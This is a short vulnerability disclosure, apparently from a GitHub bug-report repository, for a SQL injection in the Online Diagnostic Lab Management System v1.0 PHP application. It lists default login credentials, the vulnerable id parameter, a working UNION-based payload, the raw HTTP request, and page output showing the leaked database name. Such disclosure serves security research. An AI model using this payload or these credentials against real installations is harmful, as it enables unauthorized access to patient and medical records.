

main

...

bug_report / vendors / oretnom23 / online-diagnostic-lab-management-system / SQLi-1.md



Happyd99 Create SQLi-1.md

History

1 contributor

33 lines (22 sloc) | 1.25 KB

...

Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection

BUG_Author: Happyd99

Login account: admin/admin123 (Super Admin account)

Login account: cblake@sample.com/cblake123 (General account)

vendors: <https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html>

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/?page=appointments/view_appointment&id=

Vulnerability location: /odlms/?page=appointments/view_appointment&id=,id

dbname=odlms_db,length=8

[+] Payload: /odlms/?

page=appointments/view_appointment&id=-5%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13--+ // Leak place ---> id

GET /odlms/?page=appointments/view_appointment&id=-5%27%20union%20select%201,databas
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkr9jm7nr42ori2
Connection: close

SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING* HTML* ENCRYPTION* OTHER* XSS* LFI*

Load URL Split URL Execute

☐ Post data ☐ Referrer ☐ %URL ☐ BASE64 ☐ Insert string to replace ☐ Insert replacing string ☒ Replace All

ODLMS - PHP

Online Diagnostic Lab Management System

Claire Blake

Dashboard

Appointment List

Test Results

Booked Appointment Details

Appointment Code

odlms_db

Schedule

Jan 01, 1970 08:00 AM

Patient Name

9

Gender

11

Contact #

10

Email

12

Address

13

Status

Report Uploaded

Prescription

5

Uploaded Report

N/A

List of Tests

#	Name	Price
1	CT scan	2,500.00
2	Magnetic Resonance Imaging (MRI) Scan	2,500.00